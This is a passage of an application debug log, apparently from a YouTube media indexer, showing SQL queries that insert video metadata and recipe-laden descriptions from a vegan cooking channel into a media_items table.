s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.172 [debug] QUERY OK source="media_items" db=2.5ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-28 00:00:00Z], 1] 20:31:08.174 [debug] QUERY OK source="media_items" db=1.3ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This creamy and healthy mango sorbet recipe only requires 4 simple ingredients and 5 minutes to make! It's SO YUMMY. Mango sorbet is my new vegan summer dessert favourite! 🥭\n\nFULL MANGO SORBET RECIPE ON MY BLOG! ➡️ https://steamyvegan.com/mango-sorbet/\n\nLet us know your favourite flavours of vegan ice cream or sorbet in the comments, I'd love to try and make them! ⬇️\n\nCheck out our VEGAN ICE CREAM REVIEW video to find out which flavour is our favourite ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nWant to make some VEGAN NICE CREAM? Check out this video ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe", "1e71ac29-abdd-4d1e-995b-4c0c113fa7fd", 1, [], false, "W4-w6GaT_0E", "https://www.youtube.com/watch?v=W4-w6GaT_0E", 282, "/downloads/downloads/alec/Steamy Vegan/2023-07-28 CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe/CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe [W4-w6GaT_0E].NA", false, false, false, 1, ~U[2023-07-28 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This creamy and healthy mango sorbet recipe only requires 4 simple ingredients and 5 minutes to make! It's SO YUMMY. Mango sorbet is my new vegan summer dessert favourite! 🥭\n\nFULL MANGO SORBET RECIPE ON MY BLOG! ➡️ https://steamyvegan.com/mango-sorbet/\n\nLet us know your favourite flavours of vegan ice cream or sorbet in the comments, I'd love to try and make them! ⬇️\n\nCheck out our VEGAN ICE CREAM REVIEW video to find out which flavour is our favourite ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nWant to make some VEGAN NICE CREAM? Check out this video ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe", 1, nil, false, "W4-w6GaT_0E", "https://www.youtube.com/watch?v=W4-w6GaT_0E", "/downloads/downloads/alec/Steamy Vegan/2023-07-28 CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe/CREAMY Mango Sorbet! Easy 4-Ingredient Vegan Recipe [W4-w6GaT_0E].NA", false, ~U[2023-07-28 00:00:00Z]] 20:31:08.176 [debug] QUERY OK source="sources" db=0.6ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.178 [debug] QUERY OK source="media_items" db=2.2ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-25 00:00:00Z], 1] 20:31:08.180 [debug] QUERY OK source="media_items" db=1.1ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan and gluten free grocery haul I'll show you what I eat in a week and the price of everything we bought at Costco and Superstore in Vancouver, Canada. 🇨🇦 Vegan and gluten free grocery prices have skyrocketed here in Canada to the point that we must have some of the most expensive prices!\n\nLet us know in the comments if you think your prices are higher where you are! Everything I bought is for 2 of us and we both eat vegan and gluten free. Typically, we spend about $530 USD ($700 CAD) per month on groceries. Is that too high in your opinion?\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other GROCERY HAUL videos ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices", "b37dd610-4998-4099-a9f2-387bff1e77f8", 1, [], false, "cp-QuJQ6k2Q", "https://www.youtube.com/watch?v=cp-QuJQ6k2Q", 283, "/downloads/downloads/alec/Steamy Vegan/2023-07-25 We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices/We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices [cp-QuJQ6k2Q].NA", false, false, false, 1, ~U[2023-07-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this vegan and gluten free grocery haul I'll show you what I eat in a week and the price of everything we bought at Costco and Superstore in Vancouver, Canada. 🇨🇦 Vegan and gluten free grocery prices have skyrocketed here in Canada to the point that we must have some of the most expensive prices!\n\nLet us know in the comments if you think your prices are higher where you are! Everything I bought is for 2 of us and we both eat vegan and gluten free. Typically, we spend about $530 USD ($700 CAD) per month on groceries. Is that too high in your opinion?\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other GROCERY HAUL videos ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices", 1, nil, false, "cp-QuJQ6k2Q", "https://www.youtube.com/watch?v=cp-QuJQ6k2Q", "/downloads/downloads/alec/Steamy Vegan/2023-07-25 We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices/We Pay WAY MORE Than You For Groceries - Vegan Grocery Haul with Prices [cp-QuJQ6k2Q].NA", false, ~U[2023-07-25 00:00:00Z]] 20:31:08.181 [debug] QUERY OK source="sources" db=0.7ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.184 [debug] QUERY OK source="media_items" db=2.1ms queue=0.4ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-22 00:00:00Z], 1] 20:31:08.188 [debug] QUERY OK source="media_items" db=3.3ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a peek at what I eat in a day as a vegan while camping! I wanted to make quick, simple and delicious meals that would be outdoor-cooking friendly, or require no cooking at all. If you have an electric skillet (and access to electricity), a BBQ, or fire-safe cookware for firepit cooking, these recipes are for you!\n\nFOODS MENTIONED IN THIS VIDEO\n1️⃣ Easy vegan omelette made with liquid JustEgg (\u202A@eatjust\u202C ), Beyond Meat breakfast sausage (\u202A@byndofficial\u202C ), PC Blue menu maple bacon tempeh (\u202A@PresidentsChoiceLCL\u202C )\n\n2️⃣ Dark chocolate overnight oats\n⅓ cup sprouted gluten-free overnight oats\n1 tbsp hemp hearts (\u202A@ManitobaHarvestHemp\u202C)\n1 tbsp chia seeds\n1 tbsp ground flax seeds\n1 tbsp nut/seed butter\n2 tbsp vegan protein powder (\u202A@vegaplantnutrition\u202C)\n1½ tbsp black cocoa powder (\u202A@BulkBarnFoods\u202C)\n¾ cup unsweetened soy milk (\u202A@SilkCanada\u202C)\n¼ cup blueberries (fresh or frozen)\nAdd all dry ingredients to a jar or sealable bowl and stir until well combined. Add the milk and stir until no dry lumps remain, then top with blueberries. Allow to soak overnight in the fridge, then enjoy!\n\n3️⃣ Mediterranean Pasta Salad (full detailed recipe in THIS video here ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0What\u00A0I\u00A0Eat\u00A0In\u00A0a\u00A0Day\u00A0|\u00A0Recipe\u00A0testing...\u00A0\u00A0) \nIngredients:\n1 package pasta of choice, cooked according to package instructions\n1 small crown broccoli\n1 cup halved cherry tomatoes\n1 bell pepper, diced\n½ a cucumber, diced\n¾ cup pitted/halved Kalamata olives\n3 green onions, diced\n\nIngredients for Sun-dried tomato basil vinaigrette \n½ cup sun-dried tomatoes, sliced\n¾ cup olive oil\n¼ cup balsamic vinegar\n⅓ cup fresh basil leaves, roughly chopped\n\n1. For the vinaigrette: in an immersion blender (or high-speed blender jug) add the basil leaves, sun-dried tomatoes and 2 tbsp water and pulse a few times until a paste begins to form.\n2. Slowly add in the oil, pulsing until begins to emmulsify. Add the balsamic vinegar, salt and pepper to taste, and ½ cup water and blend until smooth. Add up to another ½ cup water if the consistency is too thick for your liking.\nTo a large bowl add the cooked and chilled pasta noodles and all chopped veggies. Stir to combine, then pour in about 1 cup of the vinaigrette and stir to combine. Taste, adjust salt and pepper if needed and add more dressing if desired. Chill for 1 hour before serving and enjoy!\n\n4️⃣ Veggie fried rice\n2 cups day old refrigerated brown sushi/sticky rice\n3 to 4 cups chopped veggies of choice (I used broccoli, mushrooms, corn, red onion)\n½ cup chickpeas\n⅔ cup liquid JustEgg\noil for frying\nCOOKING SAUCE (add all ingredients to a jar and shake with lid on to combine)\n1 tbsp sesame oil\n3 tbsp gluten-free soy sauce\n1 tbsp mirin\n1 tbsp maple syrup\n1 tbsp rice vinegar\n1 tsp each fresh grated ginger and garlic\n\nHeat a large and deep skillet on medium-high heat and sauté the veggies and chickpeas for 6 to 7 minutes, stirring frequently, until softened and becoming golden. \n2. Add the rice and break into smaller pieces with a rubber spatula/wooden spoon. Pour in the sauce and JustEgg and continue cooking for another 4 to 5 minutes, stirring frequently.\n3. Serve once the rice has heated through and the JustEgg has started to scrambled and looks cooked through. Enjoy!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I eat in a day while CAMPING! Easy plant-based summer meals", "99116f5e-a48b-474e-8a7f-4d753f941de2", 1, [], false, "BCaikK4z7q4", "https://www.youtube.com/watch?v=BCaikK4z7q4", 284, "/downloads/downloads/alec/Steamy Vegan/2023-07-22 VEGAN What I eat in a day while CAMPING! Easy plant-based summer meals/VEGAN What I eat in a day while CAMPING! Easy plant-based summer meals [BCaikK4z7q4].NA", false, false, false, 1, ~U[2023-07-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a peek at what I eat in a day as a vegan while camping! I wanted to make quick, simple and delicious meals that would be outdoor-cooking friendly, or require no cooking at all. If you have an electric skillet (and access to electricity), a BBQ, or fire-safe cookware for firepit cooking, these recipes are for you!\n\nFOODS MENTIONED IN THIS VIDEO\n1️⃣ Easy vegan omelette made with liquid JustEgg (\u202A@eatjust\u202C ), Beyond Meat breakfast sausage (\u202A@byndofficial\u202C ), PC Blue menu maple bacon tempeh (\u202A@PresidentsChoiceLCL\u202C )\n\n2️⃣ Dark chocolate overnight oats\n⅓ cup sprouted gluten-free overnight oats\n1 tbsp hemp hearts (\u202A@ManitobaHarvestHemp\u202C)\n1 tbsp chia seeds\n1 tbsp ground flax seeds\n1 tbsp nut/seed butter\n2 tbsp vegan protein powder (\u202A@vegaplantnutrition\u202C)\n1½ tbsp black cocoa powder (\u202A@BulkBarnFoods\u202C)\n¾ cup unsweetened soy milk (\u202A@SilkCanada\u202C)\n¼ cup blueberries (fresh or frozen)\nAdd all dry ingredients to a jar or sealable bowl and stir until well combined. Add the milk and stir until no dry lumps remain, then top with blueberries. Allow to soak overnight in the fridge, then enjoy!\n\n3️⃣ Mediterranean Pasta Salad (full detailed recipe in THIS video here ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0What\u00A0I\u00A0Eat\u00A0In\u00A0a\u00A0Day\u00A0|\u00A0Recipe\u00A0testing...\u00A0\u00A0) \nIngredients:\n1 package pasta of choice, cooked according to package instructions\n1 small crown broccoli\n1 cup halved cherry tomatoes\n1 bell pepper, diced\n½ a cucumber, diced\n¾ cup pitted/halved Kalamata olives\n3 green onions, diced\n\nIngredients for Sun-dried tomato basil vinaigrette \n½ cup sun-dried tomatoes, sliced\n¾ cup olive oil\n¼ cup balsamic vinegar\n⅓ cup fresh basil leaves, roughly chopped\n\n1. For the vinaigrette: in an immersion blender (or high-speed blender jug) add the basil leaves, sun-dried tomatoes and 2 tbsp water and pulse a few times until a paste begins to form.\n2. Slowly add in the oil, pulsing until begins to emmulsify. Add the balsamic vinegar, salt and pepper to taste, and ½ cup water and blend until smooth. Add up to another ½ cup water if the consistency is too thick for your liking.\nTo a large bowl add the cooked and chilled pasta noodles and all chopped veggies. Stir to combine, then pour in about 1 cup of the vinaigrette and stir to combine. Taste, adjust salt and pepper if needed and add more dressing if desired. Chill for 1 hour before serving and enjoy (truncated) 20:31:08.190 [debug] QUERY OK source="sources" db=1.2ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.193 [debug] QUERY OK source="media_items" db=2.5ms idle=10.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 00:00:00Z], 1] 20:31:08.196 [debug] QUERY OK source="media_items" db=1.7ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This LAZY Vegan Poke Bowl recipe is currently my go-to summer dinner on hot days because it take less then 10 minutes to make and I don't need to turn on my oven. It's a perfect meal prep vegan and gluten free recipe that you'll enjoy all summer long!\n\nVEGAN POKE BOWL RECIPE\n\nIngredients\nCooked day-old brown sushi rice (basmati or white rice is good, too)\nSalad greens\nFirm or extra firm tofu, pressed and cubed\nShelled edamame beans, thawed if frozen\nCorn, fresh/frozen/canned\nWakame salad (seaweed salad, check Costco or your local asian grocery stores)\nSAUCE INGREDIENTS\n4 tbsp soy sauce, gluten-free if needed\n2 tbsp mirin\n2 tbsp rice vinegar\n1 tbsp sesame oil\n1 tsp furikake (rice seasoning)\n1 tsp red chilli flakes\n\nHOW TO BUILD YOUR POKE BOWL! \n1. Make your garlic sesame ginger sauce by adding all sauce ingredients to a jar or small bowl and shake/whisk until well combined.\n2. To a large bowl, add rice and your choice of salad greens. Add a handful each of cubed tofu, corn, and edamame beans, plus about a 1/3 cup of wakame salad on top.\n3. Garnish with sesame seeds or additional furikake seasoning and ENJOY!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly)", "23ba9d97-3fec-4c40-afee-ad9f1ca699c2", 1, [], false, "KJlP3vmfEq0", "https://www.youtube.com/watch?v=KJlP3vmfEq0", 285, "/downloads/downloads/alec/Steamy Vegan/2023-07-20 LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly)/LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly) [KJlP3vmfEq0].NA", false, false, false, 1, ~U[2023-07-20 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This LAZY Vegan Poke Bowl recipe is currently my go-to summer dinner on hot days because it take less then 10 minutes to make and I don't need to turn on my oven. It's a perfect meal prep vegan and gluten free recipe that you'll enjoy all summer long!\n\nVEGAN POKE BOWL RECIPE\n\nIngredients\nCooked day-old brown sushi rice (basmati or white rice is good, too)\nSalad greens\nFirm or extra firm tofu, pressed and cubed\nShelled edamame beans, thawed if frozen\nCorn, fresh/frozen/canned\nWakame salad (seaweed salad, check Costco or your local asian grocery stores)\nSAUCE INGREDIENTS\n4 tbsp soy sauce, gluten-free if needed\n2 tbsp mirin\n2 tbsp rice vinegar\n1 tbsp sesame oil\n1 tsp furikake (rice seasoning)\n1 tsp red chilli flakes\n\nHOW TO BUILD YOUR POKE BOWL! \n1. Make your garlic sesame ginger sauce by adding all sauce ingredients to a jar or small bowl and shake/whisk until well combined.\n2. To a large bowl, add rice and your choice of salad greens. Add a handful each of cubed tofu, corn, and edamame beans, plus about a 1/3 cup of wakame salad on top.\n3. Garnish with sesame seeds or additional furikake seasoning and ENJOY!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly)", 1, nil, false, "KJlP3vmfEq0", "https://www.youtube.com/watch?v=KJlP3vmfEq0", "/downloads/downloads/alec/Steamy Vegan/2023-07-20 LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly)/LAZY Vegan Poke Bowl in UNDER 10 MINUTES! (meal prep friendly) [KJlP3vmfEq0].NA", false, ~U[2023-07-20 00:00:00Z]] 20:31:08.196 [debug] QUERY OK source="sources" db=0.6ms idle=12.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.200 [debug] QUERY OK source="media_items" db=3.0ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-18 00:00:00Z], 1] 20:31:08.202 [debug] QUERY OK source="media_items" db=1.2ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a peek at what I eat in a day as a vegan! Just realistic vegan meals that keep me full, fuelled and feeling good. On this full day of eating it was HOT and I mostly wanted foods that kept me feeling cool and refreshed. \n\nFOODS MENTIONED IN THIS VIDEO\nIced coffee with soy milk (make coffee ice cubes, total game changer!)\nEasy overnight oats (see my fave summer oats here ➡️ )\nVegan BLT sandwich with \u202A@PresidentsChoiceLCL\u202C Blue menu tempeh bacon, and \u202A@yvesveggiecuisine5819\u202C veggie ham\nNiçoise salad with roasted fingerling potatoes, broccoli, radish and crispy white beans\nFresh summer peach for dessert \n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I eat in a day | Meals on a HOT summer day!", "ae1d1903-bd0d-4465-8e60-71dce1e17838", 1, [], false, "csmUMLsuQ7o", "https://www.youtube.com/watch?v=csmUMLsuQ7o", 286, "/downloads/downloads/alec/Steamy Vegan/2023-07-18 VEGAN What I eat in a day | Meals on a HOT summer day!/VEGAN What I eat in a day | Meals on a HOT summer day! [csmUMLsuQ7o].NA", false, false, false, 1, ~U[2023-07-18 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a peek at what I eat in a day as a vegan! Just realistic vegan meals that keep me full, fuelled and feeling good. On this full day of eating it was HOT and I mostly wanted foods that kept me feeling cool and refreshed. \n\nFOODS MENTIONED IN THIS VIDEO\nIced coffee with soy milk (make coffee ice cubes, total game changer!)\nEasy overnight oats (see my fave summer oats here ➡️ )\nVegan BLT sandwich with \u202A@PresidentsChoiceLCL\u202C Blue menu tempeh bacon, and \u202A@yvesveggiecuisine5819\u202C veggie ham\nNiçoise salad with roasted fingerling potatoes, broccoli, radish and crispy white beans\nFresh summer peach for dessert \n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide 